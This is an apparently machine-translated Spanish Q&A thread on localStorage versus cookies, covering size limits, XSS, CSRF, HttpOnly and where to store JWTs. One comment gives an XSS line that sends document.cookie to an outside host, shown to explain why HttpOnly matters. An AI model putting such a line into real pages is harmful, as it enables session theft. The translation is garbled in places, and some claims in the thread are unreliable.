Almacenamiento local vs cookies

1027

Quiero reducir los tiempos de carga en mis sitios web moviendo todas las cookies al almacenamiento local, ya que parecen tener la misma funcionalidad. ¿Existen ventajas y desventajas (especialmente en cuanto al rendimiento) en el uso del almacenamiento local para reemplazar la funcionalidad de las cookies, excepto por los obvios problemas de compatibilidad?

Gio Borje
fuente
107
Desventaja de Possibe: los valores de localStorge en páginas seguras (SSL) están aislados. Entonces, si su sitio tiene páginas http y https, no podrá acceder a los valores establecidos en una página http cuando visite una página https. Acabo de probar localStorage para un mini carrito ajax en una tienda de Magento. Epic fail ...
66
sorprendentemente bien respaldado (en comparación con lo que esperaba) caniuse.com/#search=localstorage
Simon_Weaver
66
Algunos usuarios también tienen las cookies deshabilitadas como regla en sus navegadores. El almacenamiento local podría funcionar mejor para esos usuarios.
Evolross el
99
" Possibe inconveniente: los valores [localStorage] en páginas seguras (SSL) están aislados " Esa es la gran ventaja en realidad.
curioso
13
Es por eso que solo debe forzar SSL en su sitio web ... No veo ninguna razón para ofrecer ambas versiones de una página si ya tiene la versión SSL disponible.
xji

Respuestas:

1277

Las cookies y el almacenamiento local tienen diferentes propósitos. Las cookies son principalmente para leer del lado del servidor , el almacenamiento local solo puede ser leído por el lado del cliente . Entonces, la pregunta es, en su aplicación, ¿quién necesita estos datos: el cliente o el servidor?

Si es su cliente (su JavaScript), entonces cambie por todos los medios. Está desperdiciando ancho de banda al enviar todos los datos en cada encabezado HTTP.

Si es su servidor, el almacenamiento local no es tan útil porque tendría que reenviar los datos de alguna manera (con Ajax o campos de formulario ocultos o algo así). Esto podría estar bien si el servidor solo necesita un pequeño subconjunto de los datos totales para cada solicitud.

Sin embargo, querrás dejar tu cookie de sesión como una cookie.

Según la diferencia técnica, y también mi comprensión:

  1. Además de ser una forma antigua de guardar datos, las cookies le dan un límite de 4096 bytes (4095, en realidad), es por cookie. El almacenamiento local es tan grande como 5 MB por dominio ; SO Question también lo menciona.

  2. localStoragees una implementación de la Storageinterfaz. Almacena datos sin fecha de vencimiento y se borra solo a través de JavaScript, o borrando la memoria caché del navegador / datos almacenados localmente, a diferencia de la expiración de cookies.

jpsimons
fuente
30
HTML5 tiene almacenamiento con alcance de sesión que también se puede usar como reemplazo de las cookies de sesión.
Pat Niemeyer
55
@PatNiemeyer, puede asumir que sessionStoragees una Cookie que ha caducado hasta que se cierre el Navegador (no la pestaña). @darkporter, gracias por la respuesta. Sin embargo, me gustaría escuchar la diferencia técnica entre las cookies y el almacenamiento local. esperando tu edición.
Om Shankar
28
@ OmShankar No estoy seguro si todavía tiene esta duda, pero esta es la diferencia: localStorage permanece en el cliente, mientras cookiesse envían con el encabezado HTTP. Esa es la mayor (pero no la única) diferencia entre ellos.
Andre Calil el
16
Si su aplicación cliente habla con REST API, el uso de cookies para almacenar y transmitir la identificación de sesión no es idiomático en REST. Entonces, para mí, las cookies parecen una tecnología antigua que probablemente debería reemplazarse con almacenamiento local (+ JavaScript si necesita pasar algunos datos, como el ID de sesión, al servidor).
Tvaroh
8
El almacenamiento local no es necesariamente una opción más segura que las cookies, ya que es vulnerable a los ataques XSS. Personalmente, optaría por una cookie HTTPS encriptada (tal vez usando JWT o JWE), con un esquema de caducidad cuidadosamente planificado. es decir, implementar tanto una 'política' de caducidad a nivel de cookie como un proceso de 'renovación' de cookies del lado del servidor, para reducir la posibilidad de que terceros utilicen una cookie. He escrito una respuesta a continuación citando partes de un artículo de Stormpath sobre este asunto.
XtraSimplicity
232

En el contexto de los JWT , Stormpath ha escrito un artículo bastante útil que describe posibles formas de almacenarlos y las (des) ventajas relacionadas con cada método.

También tiene una breve descripción de los ataques XSS y CSRF, y cómo puedes combatirlos.

He adjuntado algunos fragmentos breves del artículo a continuación, en caso de que su artículo se desconecte / su sitio se caiga.

Almacenamiento local

Problemas:

Se puede acceder al almacenamiento web (localStorage / sessionStorage) a través de JavaScript en el mismo dominio. Esto significa que cualquier JavaScript que se ejecute en su sitio tendrá acceso al almacenamiento web, y debido a esto puede ser vulnerable a los ataques de scripting entre sitios (XSS). En pocas palabras, XSS es un tipo de vulnerabilidad en la que un atacante puede inyectar JavaScript que se ejecutará en su página. Los ataques básicos de XSS intentan inyectar JavaScript a través de entradas de formulario, donde el atacante pone alerta ('Estás pirateado'); en un formulario para ver si lo ejecuta el navegador y si otros usuarios pueden verlo.

Prevención:

Para evitar XSS, la respuesta común es escapar y codificar todos los datos no confiables. Pero esto está lejos de ser la historia completa. En 2015, las aplicaciones web modernas usan JavaScript alojado en CDN o infraestructura externa. Las aplicaciones web modernas incluyen bibliotecas JavaScript de terceros para pruebas A / B, embudo / análisis de mercado y anuncios. Utilizamos administradores de paquetes como Bower para importar el código de otras personas en nuestras aplicaciones.

¿Qué sucede si solo uno de los scripts que usa está comprometido? JavaScript malicioso se puede incrustar en la página y el almacenamiento web se ve comprometido. Estos tipos de ataques XSS pueden obtener el almacenamiento web de todos los que visitan su sitio, sin su conocimiento. Esta es probablemente la razón por la cual un grupo de organizaciones aconseja no almacenar nada de valor ni confiar en ninguna información en el almacenamiento web. Esto incluye identificadores de sesión y tokens.

Como mecanismo de almacenamiento, Web Storage no aplica ningún estándar seguro durante la transferencia. Quien lea el almacenamiento web y lo use debe hacer su debida diligencia para asegurarse de que siempre envíen el JWT a través de HTTPS y nunca HTTP.

Galletas

Problemas:

Las cookies, cuando se usan con el indicador de cookies HttpOnly, no son accesibles a través de JavaScript y son inmunes a XSS. También puede configurar el indicador de cookie segura para garantizar que la cookie solo se envíe a través de HTTPS. Esta es una de las principales razones por las que las cookies se han aprovechado en el pasado para almacenar tokens o datos de sesión. Los desarrolladores modernos dudan en usar cookies porque tradicionalmente requerían que el estado se almacenara en el servidor, rompiendo así las mejores prácticas RESTful. Las cookies como mecanismo de almacenamiento no requieren que el estado se almacene en el servidor si está almacenando un JWT en la cookie. Esto se debe a que JWT encapsula todo lo que el servidor necesita para atender la solicitud.

Sin embargo, las cookies son vulnerables a un tipo diferente de ataque: falsificación de solicitudes entre sitios (CSRF). Un ataque CSRF es un tipo de ataque que ocurre cuando un sitio web malicioso, correo electrónico o blog hace que el navegador web de un usuario realice una acción no deseada en un sitio confiable en el que el usuario está autenticado actualmente. Esta es una explotación de cómo el navegador maneja las cookies. Una cookie solo se puede enviar a los dominios en los que está permitida. Por defecto, este es el dominio que originalmente configuró la cookie. La cookie se enviará para una solicitud, independientemente de si está en galaxies.com o hahagonnahackyou.com.

Prevención:

Los navegadores modernos admiten la SameSitebandera , además de HttpOnlyySecure . El propósito de este indicador es evitar que la cookie se transmita en solicitudes entre sitios, evitando muchos tipos de ataques CSRF.

Para los navegadores que no son compatibles SameSite, CSRF se puede evitar mediante el uso de patrones de token sincronizados. Esto suena complicado, pero todos los marcos web modernos tienen soporte para esto.

Por ejemplo, AngularJS tiene una solución para validar que solo su dominio pueda acceder a la cookie. Directamente desde documentos de AngularJS:

Al realizar solicitudes XHR, el servicio $ http lee un token de una cookie (de forma predeterminada, XSRF-TOKEN) y lo establece como un encabezado HTTP (X-XSRF-TOKEN). Dado que solo JavaScript que se ejecuta en su dominio puede leer la cookie, su servidor puede estar seguro de que el XHR proviene de JavaScript que se ejecuta en su dominio. Puede hacer que esta protección CSRF sea apátrida al incluir un xsrfTokenreclamo JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Aprovechar la protección CSRF de su marco de aplicaciones web hace que las cookies sean sólidas para almacenar un JWT. CSRF también puede prevenirse parcialmente verificando el encabezado HTTP Referer y Origin desde su API. Los ataques CSRF tendrán encabezados Referer y Origin que no están relacionados con su aplicación.

El artículo completo se puede encontrar aquí: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

También tienen un artículo útil sobre cómo diseñar e implementar mejor los JWT, con respecto a la estructura del token: https://stormpath.com/blog/jwt-the-right-way/

XtraSimplicity
fuente
66
Excelente punto Sorprendido, las implicaciones de seguridad del almacenamiento local (o la falta de él para XSS) no se han mencionado antes en una pregunta tan bien leída, ¡excepto por una respuesta que, en mi humilde opinión, sugiere que es más segura!
Barry Pollard
25
Creo que toda la charla de seguridad distrae un poco para ser honesto. Sí, localStoragees accesible para otros scripts en la página ... Pero también lo está XMLHttpRequest... Y sí, el indicador HttpOnly protege contra el robo de la cookie, pero el navegador aún lo envía al dominio correspondiente automáticamente ... básicamente cuando tiene scripts maliciosos corriendo en tu página ya estás pirateado.
Stijn de Witt
3
@StijndeWitt Cada capa de protección tiene su propio poder y debilidad. Por lo tanto, generalmente es mejor tener múltiples capas de protección. Sólo para dar un ejemplo: HttpOnly también previene ataques no como ajax window.location = 'http://google.com?q=' + escape(document.cookie);. Este ataque pasa por alto la verificación CORS de los navegadores.
Memet Olsen
Suponiendo que tiene proveedores menos confiables para algunas cosas como los anuncios ... ¿por qué sus anuncios incluso se publican en el mismo dominio que su propio contenido confiable? Los anuncios solo deben mostrarse dentro de la página web, por lo general, no necesitan ejecutar JS dentro de la página. No se requiere tanta integración para ese contenido de terceros.
curioso
¿Por qué un token csrf en una cookie (que tiene que ser no solo http por definición para que pueda leerse a través de JavaScript y enviarse a través de un encabezado) ayuda en algo de seguridad? Si mi sitio es vulnerable a xss, la cookie se puede leer tan fácilmente como el almacenamiento local / de sesión.
Juangamnik
97

Con localStorage, las aplicaciones web pueden almacenar datos localmente dentro del navegador del usuario. Antes de HTML5, los datos de la aplicación debían almacenarse en cookies, incluidas en cada solicitud del servidor. Se pueden almacenar grandes cantidades de datos localmente, sin afectar el rendimiento del sitio web. Aunque localStoragees más moderno, hay algunas ventajas y desventajas de ambas técnicas.

Galletas

Pros

  • Soporte heredado (ha existido desde siempre)
  • Datos persistentes
  • Fechas de vencimiento

Contras

  • Cada dominio almacena todas sus cookies en una sola cadena, lo que puede dificultar el análisis de datos
  • Los datos no están encriptados, lo que se convierte en un problema porque ... ... aunque de tamaño pequeño, las cookies se envían con cada solicitud HTTP Tamaño limitado (4KB)
  • La inyección SQL se puede realizar desde una cookie

Almacenamiento local

Pros

  • Soporte por la mayoría de los navegadores modernos
  • Datos persistentes que se almacenan directamente en el navegador.
  • Las reglas del mismo origen se aplican a los datos de almacenamiento local.
  • No se envía con cada solicitud HTTP
  • ~ 5 MB de almacenamiento por dominio (eso es 5120 KB)

Contras

  • No es compatible con nada antes: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Si el servidor necesita información almacenada del cliente, debe enviarla a propósito.

localStorageEl uso es casi idéntico al de la sesión uno. Tienen métodos bastante exactos, por lo que cambiar de sesión a localStoragejuego es realmente un juego de niños. Sin embargo, si los datos almacenados son realmente cruciales para su aplicación, probablemente usará cookies como respaldo en caso de localStorageque no esté disponible. Si desea verificar la compatibilidad del navegador localStorage, todo lo que tiene que hacer es ejecutar este script simple:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"los valores de localStorage en páginas seguras (SSL) están aislados" como alguien notó, tenga en cuenta que localStorage no estará disponible si cambia del protocolo seguro 'http' a 'https', donde la cookie seguirá siendo accesible. Es importante tener esto en cuenta si trabaja con protocolos seguros.

DevWL
fuente
1
El cheque que está haciendo no es muy confiable. Hay navegadores y modos (privados) que tienen el objeto Storage, pero no pueden establecer valores en él. La única forma de verificar el soporte real es intentar atrapar un conjunto de eliminación.
JavaScript
Punto tomado, he actualizado mi respuesta con respecto a la respuesta de Joe en: stackoverflow.com/questions/16427636/…
DevWL
10
dado que 'La inyección de SQL se puede realizar' aparece como una contra de la cookie, ¿está diciendo que no se puede realizar desde localStorage?
Martin Schneider
Otro profesional para las cookies. Las cookies se pueden marcar como HTTPOnly. Esto significa que no se puede acceder a ellos desde JavaScript, lo que a su vez significa que ningún ataque malicioso de XSS puede recuperar el contenido de las cookies. Debido a esto, no diría necesariamente que el almacenamiento local es más seguro que las cookies.
wp-overwatch.com
@ Mr.Me Si bien los ataques XSS no pueden leer una cookie HTTPOnly, el atacante aún puede hacer cualquier solicitud HTTP que el usuario pueda hacer (por definición) limitada solo por la sesión del navegador. Suponiendo que la cookie de sesión es un identificador opaco, como lo son casi todas las cookies de sesión, leer el valor de la cookie solo es útil para realizar una solicitud HTTP, incluida: no se aprende nada solo con el valor de la cookie. (Nota, las cookies de sesión en algún momento puede vincularse a una dirección IP de origen en particular, el encabezado de agente de usuario, u otras características del navegador; ataques XSS HTTP realizan peticiones desde el navegador, por lo que estos partido.)
curiousguy
7

Bueno, la velocidad de almacenamiento local depende en gran medida del navegador que esté utilizando el cliente, así como del sistema operativo. Chrome o Safari en una Mac podrían ser mucho más rápidos que Firefox en una PC, especialmente con las API más nuevas. Sin embargo, como siempre, la prueba es tu amigo (no pude encontrar ningún punto de referencia).

Realmente no veo una gran diferencia en el almacenamiento de cookies frente a local. Además, debería estar más preocupado por los problemas de compatibilidad: no todos los navegadores han comenzado a admitir las nuevas API HTML5, por lo que las cookies serían su mejor opción para la velocidad y la compatibilidad.

pop850
fuente
2
Es solo un proyecto interno, por lo que cosas como la compatibilidad entre navegadores no son realmente necesarias. Debido a que las cookies se envían con cada HTTPRequest (mi aplicación tiene ~ 77 solicitudes), lo que significa ~ 500kB de sobrecarga adicional. Sé que la solución obvia es un CDN, pero quiero probar algo que no dependa del servidor. No pude encontrar ningún punto de referencia yo mismo y es por eso que esperaba que alguien aquí lo supiera.
Gio Borje
14
¿Por qué Chrome o Safari serían más rápidos en una Mac? Es prácticamente el mismo código de navegador que se ejecuta, ya sea que esté en Mac, Linux o Windows.
Mark K Cowan
7

También vale la pena mencionar que localStorageno se puede usar cuando los usuarios navegan en modo "privado" en algunas versiones de Safari móvil.

Citado de MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Nota: a partir de iOS 5.1, Safari Mobile almacena los datos de almacenamiento local en la carpeta de caché, que está sujeta a una limpieza ocasional, a instancias del sistema operativo, generalmente si hay poco espacio. El modo de navegación privada de Safari Mobile también evita la escritura en localStorage por completo.

benjaminz
fuente
6

El almacenamiento local puede almacenar hasta 5 mb de datos sin conexión, mientras que la sesión también puede almacenar hasta 5 mb de datos. Pero las cookies solo pueden almacenar datos de 4 kb en formato de texto.

Datos de almacenamiento LOCAl y Session en formato JSON, por lo tanto fáciles de analizar. Pero los datos de las cookies están en formato de cadena.

Avinash Malhotra
fuente
6

galletas :

  1. Introducido antes de HTML5.
  2. Tiene fecha de vencimiento.
  3. Borrado por JS o por Borrar datos de navegación del navegador o después de la fecha de vencimiento.
  4. Se enviará al servidor por cada solicitud.
  5. La capacidad es de 4KB.
  6. Solo las cadenas pueden almacenarse en cookies.
  7. Hay dos tipos de cookies: persistentes y de sesión.

Almacenamiento local:

  1. Introducido con HTML5.
  2. No tiene fecha de vencimiento.
  3. Borrado por JS o por Borrar datos de navegación del navegador.
  4. Puede seleccionar cuándo deben enviarse los datos al servidor.
  5. La capacidad es de 5MB.
  6. Los datos se almacenan indefinidamente y deben ser una cadena.
  7. Solo tiene un tipo.
Seyedraouf Modarresi
fuente
6. localStorage solo puede almacenar cadenas, primitivas y los objetos deben convertirse en cadenas antes del almacenamiento, 7. sessionStorage también está disponible y es idéntico a localStorage excepto que no persiste
Robbie Milejczak
Solo puede almacenar picaduras en el almacenamiento
TheMisir